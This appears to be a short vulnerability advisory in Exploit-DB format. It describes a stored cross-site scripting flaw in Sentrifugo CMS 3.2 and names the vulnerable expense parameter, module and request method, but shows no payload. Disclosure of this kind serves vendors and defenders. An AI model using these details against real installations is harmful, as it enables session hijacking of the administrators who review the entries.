# Exploit Title: Sentrifugo CMS 3.2 - Persistent Cross-Site Scripting
# Vendor: http://www.sentrifugo.com/

# Version: 3.2

Technical Details & Description:
================================
The persistent vulnerability is located in the `expense_name` parameters
of the `/expenses/expenses/edit` module in the `index.php` file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as expenses entry. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located
on the application-side. Entries of expenses can be reviewed in the
backend by higher privileged accounts as well.
 
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.
